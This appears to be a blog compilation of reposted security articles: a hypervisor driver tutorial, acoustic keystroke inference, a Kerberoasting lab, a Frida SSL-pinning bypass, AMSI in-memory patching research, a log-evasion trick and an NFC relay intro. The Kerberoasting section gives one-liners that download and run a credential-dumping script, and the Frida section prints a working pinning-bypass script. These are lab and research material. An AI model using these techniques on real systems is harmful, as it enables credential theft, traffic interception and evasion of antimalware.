Hypervisor From Scratch – Part 1: Basic Concepts & Configure Testing Environment

( Original text by Sinaei )

Hello everyone!

Welcome to the first part of a multi-part series of tutorials called “Hypervisor From Scratch”. As the name implies, this course contains technical details to create a basic Virtual Machine based on hardware virtualization. If you follow the course, you’ll be able to create your own virtual environment and you’ll get an understanding of how VMWare, VirtualBox, KVM and other virtualization softwares use processors’ facilities to create a virtual environment.


Both Intel and AMD support virtualization in their modern CPUs. Intel introduced (VT-x technology) that previously codenamed “Vanderpool” on November 13, 2005, in Pentium 4 series. The CPU flag for VT-xcapability is “vmx” which stands for Virtual Machine eXtension.

AMD, on the other hand, developed its first generation of virtualization extensions under the codename “Pacifica“, and initially published them as AMD Secure Virtual Machine (SVM), but later marketed them under the trademark AMD Virtualization, abbreviated AMD-V.

There two types of the hypervisor. The hypervisor type 1 called “bare metal hypervisor” or “native” because it runs directly on a bare metal physical server, a type 1 hypervisor has direct access to the hardware. With a type 1 hypervisor, there is no operating system to load as the hypervisor.

Contrary to a type 1 hypervisor, a type 2 hypervisor loads inside an operating system, just like any other application. Because the type 2 hypervisor has to go through the operating system and is managed by the OS, the type 2 hypervisor (and its virtual machines) will run less efficiently (slower) than a type 1 hypervisor.

Even more of the concepts about Virtualization is the same, but you need different considerations in VT-x and AMD-V. The rest of these tutorials mainly focus on VT-x because Intel CPUs are more popular and more widely used. In my opinion, AMD describes virtualization more clearly in its manuals but Intel somehow makes the readers confused especially in Virtualization documentation.

Hypervisor and Platform 

These concepts are platform independent, I mean you can easily run the same code routine in both Linux or Windows and expect the same behavior from CPU but I prefer to use Windows as its more easily debuggable (at least for me.) but I try to give some examples for Linux systems whenever needed. Personally, as Linux kernel manages faults like #GP and other exceptions and tries to avoid kernel panic and keep the system up so it’s better for testing something like hypervisor or any CPU-related affair. On the other hand, Windows never tries to manage any unexpected exception and it leads to a blue screen of death whenever you didn’t manage your exceptions, thus you might get lots of BSODs.By the way, you’d better test it on both platforms (and other platforms too.).

At last, I might (and definitely) make mistakes like wrong implementation or misinformation or forget about mentioning some important description so I should say sorry in advance if I make any faults and I’ll be glad for every comment that tells me my mistakes in the technical information or misinformation.

That’s enough, Let’s get started!

The Tools you’ll need

You should have a Visual Studio with WDK installed. you can get Windows Driver Kit (WDK) here.

The best way to debug Windows and any kernel mode affair is using Windbg which is available in Windows SDK here. (If you installed WDK with default installing options then you probably install WDK and SDK together so you can skip this step.)

You should be able to debug your OS (in this case Windows) using Windbg, more information here.

Hex-rays IDA Pro is an important part of this tutorial.

OSR Driver Loader which can be downloaded here, we use this tools in order to load our drivers into the Windows machine.

SysInternals DebugView for printing the DbgPrint() results.


Creating a Test Environment

Almost all of the codes in this tutorial have to run in kernel level and you must set up either a Linux Kernel Module or Windows Driver Kit (WDK) module. As configuring VMM involves lots of assembly code, you should know how to run inline assembly within you kernel project. In Linux, you shouldn’t do anything special but in the case of  Windows, WDK no longer supports inline assembly in an x64 environment so if you didn’t work on this problem previously then you might have struggle creating a simple x64 inline project but don’t worry in one of my post I explained it step by step so I highly recommend seeing this topic to solve the problem before continuing the rest of this part.

Now its time to create a driver!

There is a good article here if you want to start with Windows Driver Kit (WDK).

The whole driver is this :

123456789101112131415161718192021222324252627282930313233343536373839404142434445#include <ntddk.h>#include <wdf.h>#include <wdm.h> extern void inline AssemblyFunc1(void);extern void inline AssemblyFunc2(void); VOID DrvUnload(PDRIVER_OBJECT  DriverObject);NTSTATUS DriverEntry(PDRIVER_OBJECT  pDriverObject, PUNICODE_STRING  pRegistryPath); #pragma alloc_text(INIT, DriverEntry)#pragma alloc_text(PAGE, Example_Unload) NTSTATUS DriverEntry(PDRIVER_OBJECT  pDriverObject, PUNICODE_STRING  pRegistryPath){ NTSTATUS NtStatus = STATUS_SUCCESS; UINT64 uiIndex = 0; PDEVICE_OBJECT pDeviceObject = NULL; UNICODE_STRING usDriverName, usDosDeviceName;  DbgPrint(«DriverEntry Called.»);  RtlInitUnicodeString(&usDriverName, L»\Device\MyHypervisor»); RtlInitUnicodeString(&usDosDeviceName, L»\DosDevices\MyHypervisor»);  NtStatus = IoCreateDevice(pDriverObject, 0, &usDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject);  if (NtStatus == STATUS_SUCCESS) { pDriverObject->DriverUnload = DrvUnload; pDeviceObject->Flags |= IO_TYPE_DEVICE; pDeviceObject->Flags &= (~DO_DEVICE_INITIALIZING); IoCreateSymbolicLink(&usDosDeviceName, &usDriverName); } return NtStatus;} VOID DrvUnload(PDRIVER_OBJECT  DriverObject){ UNICODE_STRING usDosDeviceName; DbgPrint(«DrvUnload Called rn»); RtlInitUnicodeString(&usDosDeviceName, L»\DosDevices\MyHypervisor»); IoDeleteSymbolicLink(&usDosDeviceName); IoDeleteDevice(DriverObject->DeviceObject);}

AssemblyFunc1 and AssemblyFunc2 are two external functions that defined as inline x64 assembly code.

Our driver needs to register a device so that we can communicate with our virtual environment from User-Mode code, on the hand, I defined DrvUnload which use PnP Windows driver feature and you can easily unload your driver and remove device then reload and create a new device.

The following code is responsible for creating a new device :

123456789101112 RtlInitUnicodeString(&usDriverName, L»\Device\MyHypervisor»); RtlInitUnicodeString(&usDosDeviceName, L»\DosDevices\MyHypervisor»);  NtStatus = IoCreateDevice(pDriverObject, 0, &usDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject);  if (NtStatus == STATUS_SUCCESS) { pDriverObject->DriverUnload = DrvUnload; pDeviceObject->Flags |= IO_TYPE_DEVICE; pDeviceObject->Flags &= (~DO_DEVICE_INITIALIZING); IoCreateSymbolicLink(&usDosDeviceName, &usDriverName); }

If you use Windows, then you should disable Driver Signature Enforcement to load your driver, that’s because Microsoft prevents any not verified code to run in Windows Kernel (Ring 0).

To do this, press and hold the shift key and restart your computer. You should see a new Window, then

  1. Click Advanced options.
  2. On the new Window Click Startup Settings.
  3. Click on Restart.
  4. On the Startup Settings screen press 7 or F7 to disable driver signature enforcement.

The latest thing I remember is enabling Windows Debugging messages through registry, in this way you can get DbgPrint() results through SysInternals DebugView.

Just perform the following steps:

In regedit, add a key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Debug Print Filter

Under that , add a DWORD value named IHVDRIVER with a value of 0xFFFF

Reboot the machine and you’ll good to go.

Some thoughts before the start

There are some keywords that will be frequently used in the rest of these series and you should know about them (Most of the definitions derived from Intel software developer’s manual, volume 3C).

Virtual Machine Monitor (VMM): VMM acts as a host and has full control of the processor(s) and other platform hardware. A VMM is able to retain selective control of processor resources, physical memory, interrupt management, and I/O.

Guest Software: Each virtual machine (VM) is a guest software environment.

VMX Root Operation and VMX Non-root Operation: A VMM will run in VMX root operation and guest software will run in VMX non-root operation.

VMX transitions: Transitions between VMX root operation and VMX non-root operation.

VM entries: Transitions into VMX non-root operation.

Extended Page Table (EPT): A modern mechanism which uses a second layer for converting the guest physical address to host physical address.

VM exits: Transitions from VMX non-root operation to VMX root operation.

Virtual machine control structure (VMCS): is a data structure in memory that exists exactly once per VM, while it is managed by the VMM. With every change of the execution context between different VMs, the VMCS is restored for the current VM, defining the state of the VM’s virtual processor and VMM control Guest software using VMCS.

The VMCS consists of six logical groups:

  •  Guest-state area: Processor state saved into the guest state area on VM exits and loaded on VM entries.
  •  Host-state area: Processor state loaded from the host state area on VM exits.
  •  VM-execution control fields: Fields controlling processor operation in VMX non-root operation.
  •  VM-exit control fields: Fields that control VM exits.
  •  VM-entry control fields: Fields that control VM entries.
  •  VM-exit information fields: Read-only fields to receive information on VM exits describing the cause and the nature of the VM exit.

I found a great work which illustrates the VMCS, The PDF version is also available here


Don’t worry about the fields, I’ll explain most of them clearly in the later parts, just remember VMCS Structure varies between different version of a processor.

VMX Instructions 

VMX introduces the following new instructions.

Intel/AMD MnemonicDescription
INVEPTInvalidate Translations Derived from EPT
INVVPIDInvalidate Translations Based on VPID
VMCALLCall to VM Monitor
VMCLEARClear Virtual-Machine Control Structure
VMFUNCInvoke VM function
VMLAUNCHLaunch Virtual Machine
VMRESUMEResume Virtual Machine
VMPTRLDLoad Pointer to Virtual-Machine Control Structure
VMPTRSTStore Pointer to Virtual-Machine Control Structure
VMREADRead Field from Virtual-Machine Control Structure
VMWRITEWrite Field to Virtual-Machine Control Structure
VMXOFFLeave VMX Operation
VMXONEnter VMX Operation

Life Cycle of VMM Software

  • The following items summarize the life cycle of a VMM and its guest software as well as the interactions between them:
    • Software enters VMX operation by executing a VMXON instruction.
    • Using VM entries, a VMM can then turn guests into VMs (one at a time). The VMM effects a VM entry using instructions VMLAUNCH and VMRESUME; it regains control using VM exits.
    • VM exits transfer control to an entry point specified by the VMM. The VMM can take action appropriate to the cause of the VM exit and can then return to the VM using a VM entry.
    • Eventually, the VMM may decide to shut itself down and leave VMX operation. It does so by executing the VMXOFF instruction.

That’s enough for now!

In this part, I explained about general keywords that you should be aware and we create a simple lab for our future tests. In the next part, I will explain how to enable VMX on your machine using the facilities we create above, then we survey among the rest of the virtualization so make sure to check the blog for the next part.


[1] Intel® 64 and IA-32 architectures software developer’s manual combined volumes 3 (https://software.intel.com/en-us/articles/intel-sdm

[2] Hardware-assisted Virtualization (http://www.cs.cmu.edu/~412/lectures/L04_VTx.pdf)

[3] Writing Windows Kernel Driver (https://resources.infosecinstitute.com/writing-a-windows-kernel-driver/)

[4] What Is a Type 1 Hypervisor? (http://www.virtualizationsoftware.com/type-1-hypervisors/)

[5] Intel / AMD CPU Internals (https://github.com/LordNoteworthy/cpu-internals)

[6] Windows 10: Disable Signed Driver Enforcement (https://ph.answers.acer.com/app/answers/detail/a_id/38288/~/windows-10%3A-disable-signed-driver-enforcement)

[7] Instruction Set Mapping » VMX Instructions (https://docs.oracle.com/cd/E36784_01/html/E36859/gntbx.html)


Acoustic Audio Patterns Could Be Giving Away Your Passwords, Learned by Neural Nets

( Original text by nugget )

In an age where Facebook, Google, Amazon, and many others are amassing an immense amount of data, what could be more concerning than drastic advancements in artificial intelligence? Thanks to neural networks and deep learning, tons of decision problems can be solved by simply having enough labelled data. The implications of this big data coexisting with the artificial intelligence to harvest information from it are endless. Not only are there good implications, including self-driving cars, voice recognition like Amazon Alexa, and intelligent applications like Google Maps, but there are also many bad implications like mass user-profiling, potential government intrusion, and, you guessed it, breaches into modern cryptographic security. Thanks to deep learning and neural networks, your password for most applications might just be worthless.

Since the cryptographic functions used in password hashing are currently secure, many attacks attempt to acquire the user’s password before it even reaches the database. For more information, see this article on password applications and security. For this reason, attacks using keyloggers, dictionary attacks, and inference attacks based on common password patterns are common, and these attacks actually work quite frequently. Now, however, deep learning has paved the way for a new kind of inference attack, based on the sound of the keys being typed.


Investigations into audio distinguishing between keystrokes are not new. Scientists have been exploring this attack vector for many years. In 2014, scientists used digraphs to model an alphabet based on keystroke sounds. In addition, statistical techniques are used in conjunction with the likely letters that are being typed (determined by the sound patterns) to create words that have a statistical likelihood of being typed based on the overall typing sound. This “shallow learning” approach is a good example of a specific set of techniques developed for a specific task in data science research.

Approaches like this one were used for years in fields like image feature recognition. The results were never groundbreaking, because it is very difficult for humans to create a perfect model for a task that has a massive amount of considerable variables. However, deep learning is now in the picture, and has been for some time. Image recognition with deep learning is so good it is almost magical, and it certainly is scary. This means that this task of matching keystroke sounds with the keystrokes themselves might just be possible.

Implications of Neural Networks

Nowadays, training models using audio for keyboard stroke recognition is a successfully performed task. Keystroke sound has been successfully used as a bio-metric authentication factor. While this fact is cool, the deeper meanings are quite scary. With the ability to train a massive neural network on the plethora of labelled keystroke sound data available on the web, a high-accuracy model can be created with little effort that predicts keystrokes based on audio with high accuracy.

Combined with other inference approaches, you could be vulnerable any time anyone is able to record you type your password. In fact, according to this article by phys.org, with some small information, such as keyboard type and typist style, attackers have a 91.7% accuracy of determining keystrokes. Without this information, they still have an impressive 41.89% accuracy. Even with this low keystroke accuracy, attackers may still be able to determine your password as the small accuracy could still clue them into your password style, e.g. using children’s or pet’s names in your passwords. Once attackers have an idea of your password style, they can massively reduce the password space, as stated in this article. With a reduced possible password space, brute force and dictionary attacks become extremely viable. Essentially, with advancements in deep learning, the audio of you typing your password is definitely a vulnerable vector of attack.

What you can do to protect yourself

The main vulnerability of this attack lies in the VOIP software widely used by companies and individuals alike to communicate. When you use software like Skype, your audio is obviously transmitted to your call partners. This audio, clearly, includes audio of you typing. This typing could be deciphered using machine learning and inference attacks, and any attacker on the call could decipher some or all of what is being typed. Of course, some of this typed text may include passwords or other sensitive information that an attacker may want. Other vulnerabilities include any situation where someone may be able to covertly record your keystrokes. For example, someone may record you typing in person by using their phone without you knowing.

So, to protect yourself, be sure that you have a second factor authenticating you in important security applications. Most login interfaces such as Gmail offer 2-factor authentication. Be sure that this is enabled, and your password will not be the only factor in your login. This reduces the risk of attackers obtaining your password. Additionally, of course, using good password practiceswill make it harder for inference attacks to supplement deep learning in acquiring your password. Finally, you could certainly reduce the risk of audio-based attacks by not typing in passwords when on VOIP calls.


Certainly, there isn’t much to do to mitigate the risk of your typing audio being eavesdropped. The implications that deep learning have on audio-based password attacks are definitely scary.  It’s a fact that neural networks might mean that your password is worthless, and they’re only getting stronger. The future of artificial intelligence will change not only modern authentication systems, but it will change society in ways we can’t even imagine. The only thing we can do in response is be aware and adapt.

If you have any questions or comments about this post, feel free to leave a comment or contact me!

Kerberoasting — From setup to cracking

( Original text by Mark Mo

Feel free to follow me on Twitter at @_markmo_ (yes with the underscores)

From my experience, the hardest part of kerberoasting is setting up the environment. I’ll go over setup all the way to cracking the password. Obviously, only run any scripts on your own machines at your own risk and this is for educational purposes.

Download a windows 2016 server image from Microsoft evaluation site


You don’t need to user real information to evaluate the software

Install the ISO on your choice of VM host. I’m using VMware.

If it asks for you for a license key ignore it

If you are using VMware and you see this then VMware has added a floppy disk that you need to remove

Just do this (also, give yourself more ram if you can, default is 2gb I gave myself 8gb)

If you get prompted to install from the CD, do click any button. When you get here be sure to install the desktop experience

on the next screen it asks for a typical or custom option, take the custom option and the only thing you get to select is the disk location. If all goes well you will be logged in. Take a snap shot in case you mess something up.

At this point you are ready to install Active directory. Here is the best guide I’ve seen. No point in re-inventing the wheel just follow this to install AD. One note, if you are not planning to setup other server in your active directory lab, you don’t need to mess with your network settings on step one of the document

Follow this guide to setup AD on your 2016 server. It is the easiest hands on guide I’ve seen


Once you have Active Directory installed go to a command prompt and type whoami and you should see your domain

For simplicity sake, we will setup one Service Principal Name (SPN) to practices roasting. We will give it a password that is contained in the rockyou.txt password dictionary that comes with Kali Linux.


select right click on your domain and select “New” then “User” from the fly out menus

Lets create a fake SQL service account

I’m picking this for the password as it is in Rockyou.txt for demonstration purposes. I suggest you do the same for your first roast.

Enter the password and set the password not to expire and don’t make the user change the password and don’t let the user change the password. Make it look like this.

Now we will make our Service Principal Name (SPN). Echo your computer name. You need your computer name for the setspn command

Now we will create the SPN

We will be able to verify we got it setup correctly by calling setSPN command again.

Before attempting kerberoast or any tool or script, always take a snapshot. I always take a snapshot before testing any tool. It might be malicious.

If you are an unprivileged users and need to bypass some powershell restrictions you can use this

powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1′);Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat

If you just want the hash for cracking you can use this and dump the file to C:\Users\Public\HashCapture.txt

IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1′);Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath ‘c:\users\public\HashCapture.txt’ -Width 8000

Either way now we need to crack it. Copy the Hash to your kali box on one single line and save the file. I’m creating a file called test.txt

Run this command (I’m running pot file disabled as I’ve already cracked it)

In a few minutes you should see it is cracked if you entered your password correctly and the password is in your password dictionary and you can see the password in the capture.cracked output file

I hope you learned something. Follow me on twitter @_markmo_ (yes with the underscore)


( Original text BY OMESPINO)

Hi everyone It’s been a while from my last post but I’m back , now I want to show you that you can start hacking android apps with frida without pain, I took me several hours to figure out how to get the frida installation ready but at the end that wasn’t really really difficult, the main problem is that I didn’t found a pretty clear tutorial for beginners in mobile security like me, so that’s why decided to create this 10 min tutorial. if you want to skip frida description you can go directly to Step 0 to start frida installation

So what is frida, exactly? 

Extracted from frida website:
“It’s Greasemonkey for native apps, or, put in more technical terms, it’s a dynamic code instrumentation toolkit. It lets you inject snippets of JavaScript or your own library into native apps on Windows, macOS, GNU/Linux, iOS, Android, and QNX. Frida also provides you with some simple tools built on top of the Frida API. These can be used as-is, tweaked to your needs, or serve as examples of how to use the API.”

So basically frida is a tool that let you inject scripts to native apps (in this case Android apps) to modify the application behavoir (in this case make a ssl pinning bypass and can perform a MitM attack, even if the aplication has https / ssl connections) and make dynamic test in real time.

Disclaimer: this method won’t work with applications that uses HSTS (HTTP Strict Transport Security) per example facebook, instagram, twitter, paypal, banking apps, etc, but don’t worry most applications don’t uses this protocol yet.

Step 0 – set up the enviroment


– python 2.7 

– pip for python

– adb tools (Android Debug Bridge tools)

– local proxy (Burpsuite by Larry_lau, just kidding Burpsuite comunnity edition) 

android phone

– android device rooted (in my case oneplus one with android 8.1) or

– android emulator with android 4.4.4 to 8.1 

Step 1 – install frida on your computer

  • # installing frida via terminal, sometimes you need to run this command as sudo
  • pip install frida

Step 2 – install frida-server on your device

Since there are a lot kind of android devices arquitechtures we need to find out what processor have our device so we need to connect our device to the computer (with usb debugger option activated) and then  run this following command:

  • # getting the processor arquitecture in this case is ARM, there are also x86, x86_64, etc …
  • adb shell getprop ro.product.cpu.abi
  • ouput: armeabi-v7a

well, after know the arch now we can download the properly frida-server version for our device, in this case frida-server-XX.X.X-android-arm in this frida github releases link (since the lastest version didn’t work I highly recommend download this version frida-server-12.0.5-android-arm.xz, anyway you can try with newer version if you want to), once is downloaded we need to extract the frida server and then copy it to the device

  • # extracting frida-server binary from the xz file
  • # for linux distributions
  • tar -xJf frida-server-12.0.5-android-arm.xz
  • # for macOS or BSD based
  • unxz frida-server-12.0.5-android-arm.xz
  • # then we need to copy the frida-server binary to the device with adb
  • adb push ./frida-server-12.0.5-android-arm /data/local/tmp/

Step 3 – Hello process in frida (frida’s Hello world)

Once we have installed frida(computer) and frida-server (android) we can start interacting with frida with the following commands:

  • # first we need to start frida-server with this adb command
  • # the last ‘&’ is to run the command in background
  • # disable SELinux is very important I was looking about 4 hours trying to see what happened and SELinux was preventing the success frida-server execution, also frida-server must run as root
  • setenforce 0
  • adb shell ‘su -c /data/local/tmp/frida-server-12.0.5-android-arm &’
  • # then if everything works you can see frida’s hello world with
  • # frida-ps is for list the devices process and -U flag is for usb devices
  • frida-ps -U

Step 5 – Set up Burpsuite comunnity edition

The quickiest way to setup a connection between our devices is get connected the android device and computer in the same wifi, so we just need to set up the android wifi connection to manual proxy in advanced section and also set up Burpsuite with the local computer ip (don’t forget use the same port) 

also we need to install the burpsuite certificate, once the android device have the proxy set up we need to access to http://burp in browser, then click the “CA certificate” buton and download the certificate (Note, you need to change the certificate extention from der to cer)

Last step: Bypass SSL pinning with Universal Android SSL Pinning Bypass No.2 

So, we got frida, frida-server and burpsuite running as espected, the next step is run the “Universal Android SSL Pinning Bypass No.2” script in order to start sniffing the application connections so we need to get the script and saved locally as name_script.js, here is a blogpost about this script by Mattia Vinci (you can add several scripts to frida from the repo or custom scripts too)

  • /*
  • Universal Android SSL Pinning Bypass
  • by Mattia Vinci and Maurizio Agazzini
  • $ frida -U -f org.package.name -l universal-ssl-check-bypass.js —no-pause
  • https://techblog.mediaservice.net/2018/11/universal-android-ssl-check-bypass-2/
  • */
  • Java.perform(function() {
  • var array_list = Java.use(«java.util.ArrayList»);
  • var ApiClient = Java.use(‘com.android.org.conscrypt.TrustManagerImpl’);
  • ApiClient.checkTrustedRecursive.implementation = function(a1, a2, a3, a4, a5, a6) {
  • // console.log(‘Bypassing SSL Pinning’);
  • var k = array_list.$new();
  • return k;
  • }
  • }, 0);

so the only thing that we have to do is save this script as “frida-ssl-2.js” and run the following command:

  • # the -l flag is to run custom script, in this case ssl pinning 2 script
  • # the -f flag is for the apk package name, —no-paus option to not interrupt
  • # the app startup at all and still leave the spawning of the process to Frida.
  • frida -U -l frida-ssl-2.js —no-paus -f com.example.application

then the application is going start you are going to see the results in burpsuite

so at this point you successfully bypass the ssl pinning with frida and you can start hacking network connections on android aplications


well that’s it , if you have any thoughts, doubts, comment or sugestion just drop me a line here or in twitter @omespino, read you later.

AMSI Bypass: Patching Technique

( Original text )


In this blog post, we introduce a technique that can help attackers run malicious code over Microsoft Windows 10 (Version 1607) using PowerShell (version 5). CyberArk alerted Microsoft to the weakness, and while Microsoft issued a patch in version 1709, organizations that haven’t implemented the fix remain at risk.

The technique can be carried out on unpatched systems by running code straight from memory while bypassing the Microsoft AMSI (Antimalware Scan Interface) protection giving attackers the ability to run malicious code over a victim’s machine without being detected.


As described in the Microsoft Developer Network (MSDN), AMSI is a generic interface standard that allows applications and services to integrate with any antimalware product present on a machine. It provides enhanced malware protection for users and their data, applications and workloads.

See Figure 0 for details on where AMSI sits.

Figure 0- AMSI Architecture Courtesy of MSFT

AMSI is antimalware vendor agnostic, designed to allow for the most common malware scanning and protection techniques provided by today’s antimalware products that can be integrated into applications. It supports a calling structure allowing for file and memory or stream scanning, content source URL/IP reputation checks, and other techniques.

By default, AMSI works with Microsoft Defender to scan relevant data. Windows Defender will unregister itself from being an “AMSI Provider” and shut itself down when another AV engine registers as an “AMSI Provider.”

In this research, the bypass technique exploits the fact that AMSI’s protection is provided at the same level on which the threat operates. AMSI is implemented as a Dynamic-link library (DLL) that is loaded into every PowerShell session. In the same level of this session, a potentially malicious code (AMSI’s bypass code) can be executed.

AMSI & PowerShell

Starting with Windows 10, AMSI by default provides protection to PowerShell, which is a very strong system tool used by both system administrators and attackers.

A few important things to note:

  • AMSI protects PowerShell by loading AMSI’s DLL (amsi.dll) into the PowerShell’s memory space.
  • AMSI protection does not distinguish between a simple user with low privileges and a powerful user, such as an admin. AMSI loads its DLL for any PowerShell instance.
  • AMSI scans the PowerShell console input by using Windows Defender to determine whether to block the payload operation or allow it to continue.

API monitoring in figure 1 shows the AMSI behavior behind the scenes:

  • The string that was submitted to the PowerShell console (“echo ‘Avi-G’”).
  • The AmsiScanString() function (under API monitor) which has been automatically invoked with the new input string insertion.

Figure 1- AmsiScanString

Bypassing AMSI General Flow

In our research, we were able to bypass the PowerShell AMSI protection of a simple user with low privileges. Malwares can use the same technique to run their malicious payloads above any kind of user.

We used the following components to perform the bypass:

Figure 2- POC components

Obtainer- a simple C# code script that is crafted as a PowerShell module, responsible for obtaining our AmsiDumpsi.dll.

Operator– AmsiDumpsi.dll is responsible for patching the real amsi.dll->AmsiScanString() function.

In Figure 3, you can see the complete process:

Figure 3- Bypassing Flow

It’s worth mentioning that the first AMSI bypass attempt was to simply unload the Amsi.dll by calling to the FreeLibrary() Api. The module was successfully unloaded, but PowerShell crashed because the process kept using the handle to the Amsi.dll.

Deep Diving into the POC code

Let’s take a short look at the original AmsiScanString() function:

Figure 4- Original AmsiScanString() Function

As you can see at 7fff9c1b2530 – 7fff9c1b2560, AmsiScanString() verifies the argument’s integrity. Right after that, the function initializes the user arguments to be transferred to the real scan. AmsiScanBuffer() treats the user console input string as a buffer to be scanned.

Our AmsiDumpsi.dll patches the original AmsiScanString() function straight in the memory. Here you can see the function at runtime after the patch:

Figure 5- AmsiScanString() After Patching

By changing the second function line, we’re zeroing one of the given arguments (rdx) and causing an error. For that reason, the function will jump straight to the end (instead of scanning the string with AmsiScanBuffer() ) in order to store the error code in the eax register and to return it to the caller function (see address- 00007fff9c1b2579).

By changing the 00007fff9c1b2579 line, we’ve changed the error code to be zero, so now eax will contain 0 [move eax,0] (instead of the original instruction [move eax,0x80070057h]) and the function returns 0.

As we can see in Microsoft’s documentation, returning 0 is equal to S_OK. S_OK means that the function successfully “scanned the payload” (bypassed the scan) and we can keep going.

Figure 6- AmsiScanString() Documentation

Now let’s look at the Obtainer code:

Figure 7- Obtainer loads AmsiDumpsi.dll

As you can see, we have a simple C# code, which was crafted into a PowerShell module by using the Add-Typecmdlet. This module loads the AmsiDumpsi.dll.

Here we can see the patch function in the AmsiDumpsi.dll:

Figure 8- Patch Function

As you can see, AmpsiDumpsiAttached() performs the following steps:

  1. Get a Pointer to the real amsi->AmsiScanString() function.
  2. Look for the original function error code (0x80070057) that the function returns in case of an error.
  3. Enable writing into the required memory address by setting the PAGE_EXECUTE_READWRITE permission.
  4. Patch the second AmsiScanString line by submitting the 4831d2 opcodes [xor rdx,rdx].
  5. Set the AmsiScanString error_code to 0.

Here’s a video that demonstrates this:


Let’s see what happens when we try to obtain a malicious Mimikatz payload into the PowerShell session by using the Net.Webclient->DownloadString method and the iex (Invoke-expression) cmdlet, which invokes the downloaded string into the PowerShell session:

Figure 9- AMSI and Defender protects against the new malicious payload submissions

As you can see, the Defender pops up and blocks the string (payload) from being invoked. If we try to look for the obtained Mimikatz function (by using the get-item function), we can’t find it.

After loading our AmpsiDumpsi.dll using the Obtainer, we can see the obtained Mimikatz function, while no Defender alerts have popped up:

Figure 10- Bypassing the AMSI protection, new Mimikatz payload submitted into the process memory


This research demonstrates how a bypass can be utilized on unpatched systems via PowerShell, regardless of a user’s privileges.

The advantages of the technique presented here are that amsi.dll is loaded in every PowerShell process; the API call for the AmsiScanString is performed regularly; and AMSI seems to be working correctly. Because of this, you’re only able to see that it actually doesn’t operate as it should if you protect the DLL in memory or examine its code at runtime.

For this reason, it’s important that organizations push this patch to all systems to avoid unnecessary risk.


Trivial Anti-BlueTeam trick for 32-bit systems

( Original text by hexacorn )

I love evasion tricks of any sort. Sometimes they can be very elaborate, and sometimes… incredibly trivial, almost stupid really. Such is the trick I am describing below. It works on 32-bit Windows only, and that’s because it relies on a folder structure that is (exclusively) present on 64-bit systems.

If we look at logs from various process monitoring tools we can notice that they omit a very important info. They don’t tell us what is the architecture of the logging system. Unless it is somehow self-evident (e.g. ‘bitness’ is a part of a host naming convention) there is no way to tell whether the process is executed on a 32- or 64- box.

These 3 folders are present on 64-bit systems only:

  • c:\windows\syswow64\
  • c:\windows\sysnative\
  • c:\Program Files (x86)\

Nothing (apart from access rights) stops us from re-creating them on a 32-bit system.

Imagine seeing the following logs indicating that calc.exe or iexplore.exe was launched on a system:

  • c:\windows\syswow64\calc.exe – from a 64-bit system
  • c:\windows\syswow64\calc.exe – from a 32-bit system
  • c:\windows\sysnative\calc.exe – from a 64-bit system
  • c:\windows\sysnative\calc.exe – from a 32-bit system
  • c:\Program Files (x86)\Internet Explorer\iexplore.exe – from a 64-bit system
  • c:\Program Files (x86)\Internet Explorer\iexplore.exe – from a 32-bit system

For all logs from 32-bit systems it’s obvious that they are fake.
How can you tell the difference though if your logs don’t tell you the architecture of the system where they come from?

This opens up a lot of opportunities for an impersonation.

Threat hunting efforts that rely on full paths for analysis purposes (whitelisting, LFO, etc.) could be easily fooled to accidentally exclude, or include bad processes that are executed from locations that pretend to be ’64-bit legitimate’.
And since most of the orgs are mixed 32/64 environments, the logs from all systems will be inevitably clustered together, and detection rules will be applied to them as a whole.

Admittedly, a malicious svchost.exe executed from c:\windows\syswow64\svchost.exe is definitely less suspicious than one starting from %APPDATA%:


Now, could this be a bad process?

  • c:\Program Files (x86)\Windows Defender\MpCmdRun.exe

Intro to NFC Payment Relay Attacks

( original text by netxing )


This is a simple intro to relay attacks using NFC payment data. I will add different types of relays during next year.


A NFC payment relay is an attack that could be described as extraction of data, using a bridge between a NFC smart card or mobile payment system and the Point of Sale System(PoS) or terminal in real time. Extracting the information and making a bridge while avoiding the latency are the most important and challenging parts.

I already post different introductory content about NFC technology:

  1. Intro to Analyze NFC Payment Methods & Contactless Cards
  2. NFC – Contactless Cards: Brute Forcing Processing Options

Eddie Lee presented in DEF CON 20 about how to design a NFC relay using two Android cellphones. The idea is to generate a bridge using 2 Android phones as you can see in the above image.

The phone 1 is close to the NFC card and the phone 2 is close to the terminal. When the phone 2 approaches the terminal, it mimics a NFC card and the terminal initializes the communication process. Any time when the terminal sends a command to the phone 2 asking about what type of card it is, the phone 2 sends that data over WiFi to the phone 1 and this phone “asks” the smart card the same question. The card answers and phone 1 takes that information and sends it back to phone 2 which responds to the terminal. Using this behavior throughout the communication process. Basically, phone 1 acts as reader and phone 2 as smart card. Simple right?

In DEF CON 25, Haoqi Shan and Jian Yuan presented Man in the NFCimplementing two special boards with SDR(Software Defined-Radio) technology to established a dedicated connection to communicate the NFC information faster and with a better control than using cellphones in the same WiFi network.


The main difference between a relay attack and replay attack is that the relay attack has to be done at the moment when the attacker is extracting the data; in the other hand, the replay attack occurs when an attacker extract the information from a transaction and save it to replay it later using a third-party device.

With this in mind, we know that we need at least two devices to approach this project, and they could be from different technologies that support NFC:

  • Arduinos
  • Raspberry Pis
  • Laptops
  • PCs
  • etc…

Even we can combine them to make a relay. For the communication part, we have different options:

  • SDR
  • USB
  • WiFi
  • Bluetooth
  • etc..

To understand the concept, I will start with a “local” relay using two Acr122u USB devices connected in the same computer by USB. One of them will act as PoS, and the second will mimic a smart card. All the connections will be handle by a Python script, and my laptop will be the bridge between them:


The idea of this concept is to understand how to design a simple NFC sniffer. To read, see and study the NFC tags. With this design, I can track the communication process without making a real transaction. However, be aware that the ATC(Application Transaction Counter) will increase during this process.

To accomplish this task, the easier and simpler software to use is the library of RFIDIot. Specifically, I will use the pn532mitm.py script. In its help section, we can find different examples to run the code when we have two or more Acr122 connected to our computer or even to run it remotely:

